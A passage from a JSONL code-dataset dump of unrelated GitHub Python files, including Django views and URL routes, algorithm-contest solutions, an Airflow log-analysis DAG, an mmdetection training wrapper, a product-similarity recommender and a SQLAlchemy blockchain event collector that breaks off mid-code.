\n ]), \n ], style=GW_STYLE)\n \n return layout\n\n\n\n\n\n\n","repo_name":"vhartwick/AmesWS","sub_path":"components/graph_window_hover.py","file_name":"graph_window_hover.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15848526636","text":"from itertools import combinations\nfrom math import inf\n\nn,m = map(int,input().split())\n\ntown = [list(map(int,input().split())) for _ in range(n)]\n\n# 1. 입력에서 1,2이 x,y값 따로 저장해놓는다\n# 2. 전체에서 치킨 가게 m개만 선택한다\n# 3. 선택 후 치킨거리를 저장한다.\n# 4. global answer값과 비교하여 최소 값만 저장한다.\n# \n# 3. \nhouse = []\nchiken = []\nfor i in range(n):\n for j in range(n):\n if town[i][j] == 1: house.append((i,j))\n elif town[i][j] == 2: chiken.append((i,j))\n\nminload = 1e9\nfor ch in combinations(chiken,m):\n sumv = 0\n for home in house:\n sumv += min([abs(home[0]-i[0])+abs(home[1]-i[1]) for i in ch])\n minload = min(sumv,minload) \n\nprint(minload)","repo_name":"gwonjihun/Algorithm","sub_path":"7week/15686.py","file_name":"15686.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3833531419","text":"from django.shortcuts import render\n\n# Create your views here.\n\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom .serializers import PersonSerializer\nfrom .models import Person\nfrom rest_framework import status\n\nclass PersonView(APIView):\n def get(self, request, user_id= None):\n try:\n print(user_id)\n if user_id is None:\n person_details = Person.objects.all()\n serializer = PersonSerializer(person_details, many= True)\n else:\n try:\n person_details = Person.objects.get(pk=user_id)\n serializer = PersonSerializer(person_details)\n except Person.DoesNotExist:\n return Response({'message': 'Person details not found'}, status=status.HTTP_404_NOT_FOUND)\n return Response(serializer.data, status=status.HTTP_200_OK)\n except Person.DoesNotExist:\n return Response({'message': 'No record yet on DB.'}, status=status.HTTP_404_NOT_FOUND) \n def post(self, request):\n serializer = PersonSerializer(data=request.data)\n if serializer.is_valid():\n user = serializer.save()\n return Response({'id': user.id, 'message': 'Person created successfully'}, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n \n def put(self,request, user_id= None):\n try:\n person_details = Person.objects.get(pk=user_id)\n except Person.DoesNotExist:\n return Response({'message': 'Person not found'}, status=status.HTTP_404_NOT_FOUND)\n \n serializer = PersonSerializer(person_details, data= request.data)\n if serializer.is_valid():\n serializer.save()\n print(serializer.data)\n return Response({'message': 'Person updated successfully.'},status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n \n def delete(self,request, user_id= None):\n try:\n person_details = Person.objects.get(pk=user_id)\n person_details.delete()\n return Response({'message': 'Person deleted successfully.'}, status=status.HTTP_204_NO_CONTENT)\n except Person.DoesNotExist:\n return Response({'message': 'Person not found'}, status=status.HTTP_404_NOT_FOUND)\n \n \n \n\n","repo_name":"supershegs/CRUD","sub_path":"crudapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27217671823","text":"from mmdet.apis import init_detector, inference_detector\nfrom mmdet.utils import setup_cache_size_limit_of_dynamo\nfrom mmengine.config import Config\nfrom mmengine.runner import Runner\nfrom torch import cuda\nimport json\nimport os\n\nclass ObjectDetector(object):\n def __init__(self, config_path, source, target, work_dir, workers=1, batch_size=16):\n self.config_path = config_path\n self.source = source\n self.target = target\n\n self.work_dir = os.path.abspath(work_dir)\n self.max_workers = workers\n\n self.cfg_options = {\n # Path to store the logfiles and final checkpoint to.\n 'work_dir': self.work_dir,\n 'train_dataloader': {\n # If multi-GPU training is implemented at some point, divide this by the\n # number of GPUs!\n 'batch_size': batch_size,\n 'num_workers': self.max_workers,\n 'dataset': {\n 'ann_file': self.source.coco_ann_file,\n 'data_prefix': {\n 'img': self.source.training_images_path,\n },\n },\n },\n 'test_dataloader': {\n 'dataset': {\n 'ann_file': self.source.coco_ann_file,\n 'data_prefix': {\n 'img': self.source.images_dir,\n },\n },\n },\n 'test_evaluator': {\n 'ann_file': self.source.coco_ann_file,\n },\n 'classes': ('interesting', ),\n 'gpu_ids': [0],\n }\n\n # Based on: https://github.com/open-mmlab/mmdetection/blob/master/tools/train.py\n def train(self):\n # Reduce the number of repeated compilations and improve\n # training speed.\n setup_cache_size_limit_of_dynamo()\n\n # load config\n cfg = Config.fromfile(self.config_path)\n\n cfg.merge_from_dict(self.cfg_options)\n\n if not os.path.exists(cfg.work_dir):\n os.makedirs(cfg.work_dir)\n\n # dump config\n # cfg.dump(os.path.join(cfg.work_dir, self.dump_config_name))\n\n runner = Runner.from_cfg(cfg)\n runner.train()\n\n return os.path.join(cfg.work_dir, 'epoch_12.pth')\n\n def detect(self, checkpoint_path):\n device = 'cuda:0' if cuda.is_available() else 'cpu'\n model = init_detector(self.config_path, checkpoint=checkpoint_path, device=device, cfg_options=self.cfg_options)\n\n images = self.target.get_image_metadata().keys()\n total_images = len(images)\n detections = {}\n\n for index, filename in enumerate(images):\n print(f'Image {index + 1} of {total_images} ({filename})')\n image_path = os.path.join(self.target.images_dir, filename)\n result = inference_detector(model, image_path)\n detections[filename] = self.process_result(result.pred_instances)\n\n with open(os.path.join(self.work_dir, 'detections.json'), 'w') as f:\n json.dump(detections, f)\n\n def process_result(self, pred):\n points = []\n for bbox, score, label in zip(pred.bboxes, pred.scores, pred.labels):\n x1, y1, x2, y2 = bbox.detach().cpu().numpy()\n r = round(max(x2 - x1, y2 - y1) / 2, 2)\n x = round((x1 + x2) / 2, 2)\n y = round((y1 + y2) / 2, 2)\n points.append([float(x), float(y), float(r), float(score)])\n\n return points\n","repo_name":"BiodataMiningGroup/unknot","sub_path":"src/ObjectDetector.py","file_name":"ObjectDetector.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72235675713","text":"\r\nfrom django.contrib import admin\r\nfrom django.urls import path\r\n\r\nfrom .views import marca, categoria, medicamento, usuario\r\n\r\nurlpatterns = [\r\n # Inicial\r\n path('', medicamento.listarMedicamentos),\r\n\r\n # Marca\r\n path('marca/list', marca.listarMarcas, name='listar-marcas'),\r\n path('marca/new', marca.criarMarca, name='nova-marca'),\r\n path('marca/edit/<int:id>', marca.editarMarca, name='editar-marca'),\r\n path('marca/delete/<int:id>', marca.removerMarca, name='remover-marca'),\r\n path('marca/show/<int:id>', marca.mostrarMarca, name='mostrar-marca'),\r\n path('marca/show/delete/<int:id>', marca.mostrarMarca, name='mostrar-marca'),\r\n path('marca/<int:id>/medicamentos', marca.mostrarMedicamentos, name='mostrar-marca-med'),\r\n\r\n # Categoria\r\n path('categoria/list', categoria.listarCategorias, name='listar-categorias'),\r\n path('categoria/new', categoria.criarCategoria, name='nova-categoria'),\r\n path('categoria/edit/<int:id>', categoria.editarCategoria, name='editar-categoria'),\r\n path('categoria/delete/<int:id>', categoria.removerCategoria, name='remover-categoria'),\r\n path('categoria/show/<int:id>', categoria.mostrarCategoria, name='mostrar-categoria'),\r\n path('categoria/show/delete/<int:id>', categoria.mostrarCategoria, name='mostrar-categoria'),\r\n path('categoria/<int:id>/medicamentos', categoria.mostrarMedicamentos, name='mostrar-categoria-med'),\r\n\r\n # Medicamentos\r\n path('medicamento/list', medicamento.listarMedicamentos, name='listar-medicamentos'),\r\n path('medicamento/new', medicamento.criarMedicamento, name='nova-medicamento'),\r\n path('medicamento/edit/<int:id>', medicamento.editarMedicamento, name='editar-medicamento'),\r\n path('medicamento/delete/<int:id>', medicamento.removerMedicamento, name='remover-medicamento'),\r\n path('medicamento/show/<int:id>', medicamento.mostrarMedicamento, name='mostrar-medicamento'),\r\n path('medicamento/show/delete/<int:id>', medicamento.mostrarMedicamento, name='mostrar-medicamento'),\r\n\r\n # Usuário\r\n path('usuario/login', usuario.loginUsuario, name='login-usuario'),\r\n path('usuario/new', usuario.criarUsuario, name='criar-usuario'),\r\n path('usuario/logout', usuario.logoutUsuario, name='logout-usuario')\r\n]","repo_name":"lucasrafael/python-medication_controller","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17484076292","text":"hetnapjai = [\"Hétfő\",\"Kedd\",\"Szerda\",\"Csütörtök\",\"Péntek\",\"Szombat\",\"Vasárnap\"]\n# print(hetnapjai)\n# for i in range(len(hetnapjai)):\n# hetnapjai[i] = hetnapjai[i].lower()\nhetnapjai_kisbetu = [item.lower() for item in hetnapjai]\nhetnapjai_nagybetu = [item.upper() for item in hetnapjai]\n\nbeker = input(\"Kérem a napot!\").upper()\n\nif beker in hetnapjai_nagybetu:\n print(f\"{beker} nap bene van a klistában\")\nelse:\n print(f\"{beker} nap nincs a listában\")\n\n\n\n","repo_name":"szabobence18/python_prog","sub_path":"bennevane.py","file_name":"bennevane.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13341080864","text":"from django.http import HttpResponseRedirect\nfrom django.conf import settings\nfrom django.contrib.auth import login, logout\nfrom django.shortcuts import render, redirect\nfrom django.views import View\nfrom .models import User\nfrom django.urls import reverse_lazy, reverse\nfrom . import forms\nfrom . import token\nimport hashlib, datetime\nfrom .forms import ProfileUpdateForm\nfrom .forms import ProfileView, ProfileView2,InterestView\n\n\ndef Profile(request):\n return render(request, 'profile/profile.html')\n\n\ndef ProfileUpdateView(request):\n if request.method == 'POST':\n pform = ProfileUpdateForm(request.POST, request.FILES, instance=request.user.profile)\n if pform.is_valid():\n pform.save()\n return redirect('/profile')\n else:\n pform = ProfileUpdateForm(instance=request.user.profile)\n\n return render(request, 'profile/updateprofile.html', {'pform': pform})\n\n\nclass Account_info(View):\n form_class = ProfileView\n template_name = \"add_info.html\"\n\n def get(self, request, *args, **kwargs):\n return render(request, self.template_name, {'form': self.form_class})\n\n def post(self, request):\n form = self.form_class(request.POST)\n if form.is_valid():\n print(\"form validated\")\n # first_name = form.data.get(\"first_name\")\n # last_name = form.data.get(\"last_name\")\n # gender = form.data.get(\"gender\")\n # birthdate = form.data.get(\"birthdate\")\n profile = form.save(commit=False)\n profile.user = request.user\n profile.save()\n return redirect(\"accounts:info2\")\n else:\n return render(request, self.template_name, {\"form\": form})\n\n\nclass Account_info2(View):\n form_class = ProfileView2\n template_name = \"add_info2.html\"\n\n def get(self, request, *args, **kwargs):\n return render(request, self.template_name, {'form': self.form_class(instance=request.user.profile)})\n\n def post(self, request):\n form = self.form_class(request.POST, request.FILES, instance=request.user.profile)\n if form.is_valid():\n form.save()\n return redirect(\"accounts:interests\")\n else:\n return render(request, self.template_name, {'form': form})\n\nclass Account_interests(View):\n form_class = InterestView\n template_name = \"interests.html\"\n\n def get(self, request, *args, **kwargs):\n return render(request, self.template_name, {'form': self.form_class()})\n\n def post(self, request):\n form = self.form_class(request.POST, instance=request.user.profile)\n if form.is_valid():\n form.save()\n return redirect(\"posts:home\")\n else:\n return render(request, self.template_name, {'form': form})\n# class HomeView(View):\n# template_name = 'home.html'\n# def get(self, request, *args, **kwargs):\n# return render(request, self.template_name)\n#\n# def post(self,request):\n# logout(request)\n# return redirect(\"accounts:signup\")\n\nclass SignupView(View):\n form_class = forms.SignupForm\n template_name = 'register.html'\n\n def get(self, request, *args, **kwargs):\n return render(request, self.template_name, {'form': self.form_class})\n\n def post(self, request):\n try:\n if \"phone\" in request.POST:\n phone = request.POST.get('phone')\n user = User.objects.get(phone=phone)\n random_token, salt, expiration_date = token.generate_token()\n user.token = random_token\n user.salt = salt\n user.token_expiration_date = expiration_date\n print(user.token_expiration_date)\n user.save()\n request.session['user_phone'] = user.phone\n request.session['register_user'] = False\n request.session['token_expiration'] = str(user.token_expiration_date)\n request.session.save()\n return redirect(\"accounts:verify\")\n\n except User.DoesNotExist:\n print('does not exists')\n form = forms.SignupForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n random_token, salt, expiration_date = token.generate_token()\n print(expiration_date)\n user.token = random_token\n user.salt = salt\n user.token_expiration_date = expiration_date\n user.is_active = False\n user.save()\n request.session['user_phone'] = user.phone\n request.session['token_expiration'] = str(user.token_expiration_date)\n request.session['register_user'] = True\n request.session.save()\n return redirect(\"accounts:verify\")\n\n return render(request, self.template_name, {\"form\": self.form_class})\n\n\nclass VerifyTokenView(View):\n\n def get(self, request, *args, **kwargs):\n try:\n phone = request.session.get('user_phone')\n token_expiration = request.session.get('token_expiration')\n print(token_expiration)\n print(datetime.datetime.now())\n expiration_date = datetime.datetime.strptime(token_expiration, '%Y-%m-%d %H:%M:%S.%f')\n # if expiration_date < datetime.datetime.now():\n # user = User.objects.get(phone=phone)\n # random_token,salt,expiration_date = token.generate_token()\n # print(expiration_date)\n # user.token = random_token\n # user.salt = salt\n # user.token_expiration_date= expiration_date\n expr = str(expiration_date.month) + '/' + str(expiration_date.day) + '/' + str(\n expiration_date.year) + ' ' + str(expiration_date.hour) + ':' + str(expiration_date.minute) + ':' + str(\n expiration_date.second)\n\n return render(request, 'verify.html', {'phone': phone, 'expiration_date': expr})\n except User.DoesNotExist:\n return redirect(\"accounts:signup\")\n\n def post(self, request):\n phone = request.session.get('user_phone')\n is_newuser = request.session.get('register_user')\n user = User.objects.get(phone=phone)\n entry_hash_token = hashlib.sha256((request.POST.get('token') + user.salt).encode('utf-8')).hexdigest()\n if entry_hash_token != user.token:\n print(\"Token is incorrect.\")\n return redirect(\"accounts:verify\")\n if user.token_expiration_date < datetime.datetime.now():\n print(\"This token is expired\")\n return redirect(\"accounts:verify\")\n user.is_active = True\n user.save()\n login(request, user)\n if is_newuser:\n return redirect(\"accounts:info\")\n else:\n return redirect(\"posts:home\")\n\n\nclass LogoutView(View):\n def get(self, request):\n logout(request)\n return redirect(\"accounts:signup\")\n\n\ndef LogoutConfirmView(request):\n return render(request, 'logout.html')\n","repo_name":"asi-mir/twitter-clone-with-django","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7103,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"43689343382","text":"from airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.operators.bash_operator import BashOperator\nfrom datetime import timedelta, date, datetime\nfrom pathlib import Path\nimport os\nimport yfinance as yf\nimport pandas as pd\n\n# git clone https://github.com/puckel/docker-airflow.git\n# to run via docker, use the command w/in your airflow directory:\n# docker-compose -f docker-compose-LocalExecutor.yml up\n# don't forget to add airflow scheduler\n\n# use the command below to log INTO your container and download files. use CTRL D to exit\n# docker exec -ti 8ffd483e5f8f /bin/bash\n\n# As our Airflow is run from Docker, we need to modify the docker-compose-localexecutor.yaml file\n# to include - ./logs:/usr/local/airflow/logs under our volume profile.\nlogger = '/Users/yasmeenfuentes/PycharmProjects/pythonProject/Mini-Projects/Airflow/Airflow_Test2/docker-airflow/logs/marketvol'\n\ndef analyze_file(**kwargs):\n file_list = Path(logger).rglob('*.log')\n log_path = kwargs['log_path']\n symbol = kwargs['stock_ticker']\n print(file_list)\n list = []\n error_list=[]\n for i in file_list:\n list.append(str(i))\n print(i)\n # To edit th log file\n log_file = open(str(i),'r')\n for line in log_file:\n if 'ERROR' in line:\n error_list.append(line)\n print(error_list)\n task_instance = kwargs['task_instance']\n task_instance.xcom_push(key = 'error_count', value = len(error_list))\n task_instance.xcom_push(key = 'errors', value = error_list)\n\ndefault_args = {\n 'owner': 'Tickers',\n 'start_date': datetime(2021, 10, 1)\n}\n\ntsla_command = \"\"\"\n echo -e \"total error count:\" {{ task_instance.xcom_pull(task_ids='TSLA_logging_errors', key='error_count') }} \"\\n\n List of errors for TESLA:\" {{ task_instance.xcom_pull(task_ids='TSLA_logging_errors', key='errors') }} \n\"\"\"\naapl_command = \"\"\"\n echo -e \"total error count:\" {{ task_instance.xcom_pull(task_ids='AAPL_logging_errors', key='error_count') }} \"\\n\n List of errors for AAPL:\" {{ task_instance.xcom_pull(task_ids='AAPL_logging_errors', key='errors') }} \n\"\"\"\n# To create the initial dag\ndag = DAG(\n 'log_analyzer',\n default_args = default_args,\n description = 'DAG Analysis',\n schedule_interval = \"* * * * *\"\n)\n\n# To create python operators for both TSLA and AAPL\n\nt1 = PythonOperator(\n task_id = 'TSLA_logging_errors',\n python_callable=analyze_file,\n provide_context = True,\n op_kwargs = {'stock_ticker':'TSLA', 'log_path': logger},\n dag = dag\n)\nt2 = BashOperator(task_id = 'print_TSLA_errors',\n bash_command = tsla_command,\n dag = dag)\n\nt3 = PythonOperator(\n task_id = 'AAPL_logging_errors',\n python_callable=analyze_file,\n provide_context = True,\n op_kwargs = {'stock_ticker':'AAPL', 'log_path': logger},\n dag = dag\n)\nt4 = BashOperator(task_id = 'print_AAPL_errors',\n bash_command = aapl_command,\n dag = dag)\n\n\n\n# Job dependencies\nt1>>t2>>t3>>t4","repo_name":"RichardChuang5/Projects","sub_path":"Mini Projects/Airflow/Airflow_Analyzer.py","file_name":"Airflow_Analyzer.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39560370861","text":"def lerEnigmas():\n listaDeEnigmas = []\n teste = int(input())\n for enigmaPaula in range(teste):\n enigmaPaula = input()\n listaDeEnigmas.append(enigmaPaula)\n return listaDeEnigmas\n\ndef resolverEnigmas(listaDeEnigmas):\n#{\n for linha in listaDeEnigmas:\n #{\n numero1 = int(linha[0])\n letra = linha[1]\n numero2 = int(linha[2])\n resultado = None\n if (numero1 == numero2):\n #{\n resultado = numero1 * numero2\n #}\n elif (letra.islower() == True):\n #{\n resultado = numero1 + numero2\n #}\n else:\n #{\n resultado = numero2 - numero1 \n #}\n print(resultado)\n #}\n \n#}\n\nenigmasLidos = lerEnigmas()\nresolverEnigmas(enigmasLidos)\n\n","repo_name":"nataliaRabelo/URI-Beecrowd","sub_path":"1192.py","file_name":"1192.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70049587716","text":"from django.conf.urls import url\nfrom .views import (\n\t\t\t\t\t\tProjectsPageDetailAPI,\n\t\t\t\t\t\tProjectsListAPI,\n\t\t\t\t\t\tProjectDetailAPI,\n\t\t\t\t\t\tProjectCategoryListAPI,\n\t\t\t\t\t\tProjectCategoryDetailAPI\n\t\t\t\t\t)\n\nurlpatterns = [\n url(r'^$', ProjectsPageDetailAPI.as_view(), name='projects'),\n url(r'^projects-list/$', ProjectsListAPI.as_view(), name='projects-list'),\n url(r'^project/(?P<id>\\d+)/$', ProjectDetailAPI.as_view(), name='detail'),\n url(r'^categories/$', ProjectCategoryListAPI.as_view(), name='categories'),\n url(r'^categories-detail/(?P<id>\\d+)/$', ProjectCategoryDetailAPI.as_view(), name='categories-detail'),\n]\n","repo_name":"Grechanin/Misteckiy-DjangoRest-React-Redux","sub_path":"projects/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38372663354","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom django.conf import settings \n\n\ndef vectorize_item(df_item):\n# 문구 dense 작업 진행 // 제품분류는 count로, 효능은 tf-idf로 진행\n# 하기 내용은 고정이므로 추가 함수작업 없이 진행\n corpus_product_category = []\n corpus_product_effect = []\n\n for i in range(len(df_item)):\n doc_temp = ''\n doc_temp = df_item['제품분류'].iloc[i]\n corpus_product_category.append(doc_temp)\n\n\n for i in range(len(df_item)):\n doc_temp = ''\n doc_temp = df_item['효능'].iloc[i]\n corpus_product_effect.append(doc_temp)\n\n count_vectorizer = CountVectorizer()\n tfidf_vectorizer = TfidfVectorizer()\n \n count_product_category = count_vectorizer.fit_transform(corpus_product_category).todense()\n tfidf_product_effect = tfidf_vectorizer.fit_transform(corpus_product_category).todense()\n return count_product_category,tfidf_product_effect\n\n# 코사인 유사도 진행\n\ndef cosine_similarity_top5(count_product_category,tfidf_product_effect, item_name,df_item):\n # get item index\n product_name_no = ''\n for i in range(len(df_item)):\n if item_name == df_item['제품명'].iloc[i]:\n product_name_no = i\n \n list_cos_product_category = []\n list_cos_product_category = cosine_similarity(count_product_category[product_name_no], count_product_category)\n \n list_cos_product_effect = []\n list_cos_product_effect = cosine_similarity(tfidf_product_effect[product_name_no], tfidf_product_effect)\n \n # 총점 구하기\n total_product_cos_score = []\n for i in range(len(list_cos_product_category[0])):\n total_score = ((list_cos_product_category[0][i]) + (list_cos_product_effect[0][i])) / 2\n total_product_cos_score.append(total_score)\n \n # 총점 구한 결과로 제품명과 함께 신규 dataframe 구축 // 작업 중 오류가 있어 list -> dict -> dataframe 으로 변환 작업 진행\n list_total_product_cos_score = np.array(total_product_cos_score).T.tolist()\n \n list_product = []\n for i in range(len(df_item)):\n list_product.append(df_item['제품명'].iloc[i])\n dict_temp = {'제품명' : list_product, '코사인 유사도' : list_total_product_cos_score}\n df_cos_score = pd.DataFrame(dict_temp)\n df_cos_score = df_cos_score.sort_values(by='코사인 유사도', ascending=False).reset_index()\n \n # Top 5 도출 // 첫 데이터프레임 위치, 제품명 출력\n items_top5_list = list(df_cos_score['index'][1:6])\n return items_top5_list\n","repo_name":"Yeonny0723/food-safety-korea_contest","sub_path":"home/find_similar_item.py","file_name":"find_similar_item.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72489847234","text":"# pypy3로만 효율성 통과 코드\n\n# 반복 횟수\nn = int(input())\n\nfor _ in range(n):\n # 책의 수\n book = int(input())\n # 책의 페이지 수 리스트\n page = list(map(int, input().split()))\n\n # dp를 이용하여 풀이\n # dp[i][j] => i번째 책에서 j번째 책까지의 최소 값을 의미\n dp = [[0] * book for _ in range(book)]\n \n # 초기값 설정\n for j in range(book - 1):\n # 2권일 경우 경우의 수가 1가지\n dp[j][j + 1] = page[j] + page[j + 1]\n # 각 위치의 기본적인 값 설정\n # dp로는 합치는 것에 대한 값만 계산되므로 모든 책들이 1번씩은 계산되는 것을 포함시키게 하기 위함\n for k in range(j + 2, book):\n dp[j][k] = dp[j][k - 1] + page[k] \n \n # 차례대로 최소값을 계산\n for j in range(2, book):\n for k in range(book - j):\n # 가능한 값들의 리스트 생성\n check = [dp[k][l] + dp[l + 1][k + j] for l in range(k, k + j)]\n # 최소값 대입\n dp[k][k + j] += min(check)\n\n print(dp[0][book - 1])\n","repo_name":"Lairin-pdj/coding_test","sub_path":"baekjoon/11066_파일 합치기.py","file_name":"11066_파일 합치기.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23600845771","text":"def read_int_line(f):\r\n return int(f.readline().replace(\"\\n\",\"\"))\r\n\r\ndef read_int_arr(f):\r\n return map(int, f.readline().replace(\"\\n\",\"\").split(\" \"))\r\n\r\ndef main(inf, outf):\r\n fr = open(inf)\r\n fw = open(outf, 'w')\r\n T = read_int_line(fr)\r\n for i in range(T):\r\n N, K = read_int_arr(fr)\r\n #print \"\\n-----------\\nCase #%d\" % (i + 1)\r\n res = \"Case #%d: %s\\n\" % (i+1, \"ON\" if result(N,K) else \"OFF\")\r\n fw.write(res)\r\n fw.close()\r\n fr.close()\r\n\r\ndef result(N, K):\r\n snappers = [[False, False] for a in range(N)]\r\n snappers[0][0] = True\r\n snappers = tuple(snappers)\r\n for i in range(K):\r\n #print \"Click #%d\\nInit: \\t\\t\\t\\t\" % (i+1), snappers\r\n for snapper in [snap for snap in snappers if snap[0]]:\r\n snapper[1] = not snapper[1]\r\n #print \"After Switching: \\t\", snappers\r\n\r\n snapper_before = snappers[0]\r\n for snapper in snappers[1:]:\r\n snapper[0] = sum(snapper_before) == 2\r\n snapper_before = snapper\r\n #print \"After Power: \\t\\t\", snappers\r\n\r\n for snapper in snappers:\r\n if sum(snapper) != 2:\r\n return False\r\n\r\n return True\r\n\r\nif __name__ == \"__main__\":\r\n main('A-small-attempt0.in', 'snapper.out')","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_53/430.py","file_name":"430.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72548929155","text":"def player_dict(player):\n return {\n \"player_id\": player.player_id,\n \"first_name\": player.first_name,\n \"last_name\": player.last_name,\n \"plays\": list(\n map(\n lambda play: {\n \"play_id\": play.play_id,\n \"match_id\": play.match_id,\n \"match_date\": play.match.date,\n \"game_id\": play.match.game.game_id,\n \"game_name\": play.match.game.name,\n \"did_win\": play.did_win,\n },\n player.plays,\n )\n ),\n }\n\n\ndef game_dict(game):\n return {\"game_id\": game.game_id, \"name\": game.name}\n\n\ndef match_dict(match):\n return {\n \"match_id\": match.match_id,\n \"match_date\": match.date,\n \"game_id\": match.game.game_id,\n \"game_name\": match.game.name,\n \"players\": list(\n map(\n lambda play: {\n \"player_id\": play.player_id,\n \"first_name\": play.player.first_name,\n \"last_name\": play.player.last_name,\n \"did_win\": play.did_win,\n },\n match.plays,\n )\n ),\n }\n","repo_name":"TimLeach635/loki-backend","sub_path":"app/model_json.py","file_name":"model_json.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6609807786","text":"# -*- coding:utf-8 -*-\r\nimport json\r\nimport logging\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom sqlalchemy import create_engine, Column, Integer, String\r\nfrom sqlalchemy.pool import SingletonThreadPool\r\nfrom sqlalchemy import and_\r\n\r\n\r\nBase = declarative_base()\r\n\r\nclass CdcTable(Base):\r\n __tablename__ = 'cdcs'\r\n cdc_id = Column(String(128), primary_key=True, nullable=False)\r\n state = Column(Integer, nullable=False)\r\n stablility_fee = Column(String(128), default=\"\")\r\n collateral_amount = Column(String(128), nullable=False)\r\n stable_token_amount = Column(String(128), nullable=False)\r\n owner = Column(String(128), nullable=False)\r\n liquidator = Column(String(128), default=\"\")\r\n block_number = Column(Integer, nullable=False)\r\n\r\n def __repr__(self):\r\n return \"<Cdc(cdcId='%s', collateralAmount='%s', stableTokenAmount='%s')>\" % (\r\n self.cdc_id, self.collateral_amount, self.stable_token_amount)\r\n\r\nclass CdcOpHistoryTable(Base):\r\n __tablename__ = 'cdc_op_history'\r\n cdc_id = Column(String(128), nullable=False, index=True)\r\n tx_id = Column(String(128), primary_key=True, nullable=False)\r\n op = Column(String(16), nullable=False)\r\n op_content = Column(String(1024), nullable=False)\r\n block_number = Column(Integer, nullable=False)\r\n\r\n def __repr__(self):\r\n return \"<CdcOpHistory(cdcId='%s', op='%s', block_number='%d')>\" % (\r\n self.cdc_id, self.op, self.block_number)\r\n\r\n\r\nengine = create_engine('sqlite:///cdcs.db', echo=True, poolclass=SingletonThreadPool, connect_args={'check_same_thread': False})\r\nBase.metadata.create_all(engine)\r\nSession = sessionmaker(bind=engine)\r\n \r\n\r\nclass EventsCollector:\r\n OP_TYPE_CONTRACT_REGISTER = 76\r\n OP_TYPE_CONTRACT_UPGRADE = 77\r\n OP_TYPE_CONTRACT_INVOKE = 79\r\n OP_TYPE_CONTRACT_TRANSFER = 81\r\n\r\n def __init__(self, account, contract, wallet_api):\r\n self.account = account\r\n self.contract = contract\r\n self.walletApi = wallet_api\r\n self.session = Session()\r\n\r\n def query_cdc_by_address(self, address):\r\n return self.session.query(CdcTable).filter_by(owner=address).first()\r\n \r\n def query_cdc_by_id(self, cdc_id):\r\n return self.session.query(CdcTable).filter_by(cdc_id=cdc_id).first()\r\n\r\n def query_cdc(self, options):\r\n if 'start' not in options:\r\n options['start'] = 0\r\n if 'limit' not in options:\r\n options['limit'] = 10\r\n if 'address' in options and options['address'] != '':\r\n address = options['address']\r\n else:\r\n address = None\r\n if 'state' in options and options['state'] != '':\r\n state =options['state']\r\n else:\r\n state = None\r\n if address is None and state is None:\r\n return self.session.query(CdcTable).\\\r\n offset(options['start']).limit(options['limit']).all()\r\n elif address is None and state is not None:\r\n return self.session.query(CdcTable).\\\r\n filter_by(state=options['state']).\\\r\n offset(options['start']).limit(options['limit']).all()\r\n elif address is not None and state is None:\r\n return self.session.query(CdcTable).\\\r\n filter_by(owner=options['address']).\\\r\n offset(options['start']).limit(options['limit']).all()\r\n elif address is not None and state is not None:\r\n return self.session.query(CdcTable).\\\r\n filter(and_(CdcTable.owner==options['address']), CdcTable.state==options['state']).\\\r\n offset(options['start']).limit(options['limit']).all()\r\n\r\n def query_cdc_op_by_id(self, cdc_id):\r\n return self.session.query(CdcOpHistoryTable).filter_by(cdc_id=cdc_id).order_by(CdcOpHistoryTable.block_number.desc()).all()\r\n\r\n def collect_event(self, block=1, step=100):\r\n start_block = int(block)\r\n end_block = start_block + step\r\n while start_block < end_block:\r\n # if start_block % 100 == 0:\r\n # print(start_block)\r\n block = self.walletApi.rpc_request(\"get_block\", [start_block])\r\n if block is None:\r\n break\r\n start_block += 1\r\n if len(block['transactions']) <= 0:\r\n continue\r\n tx_count = 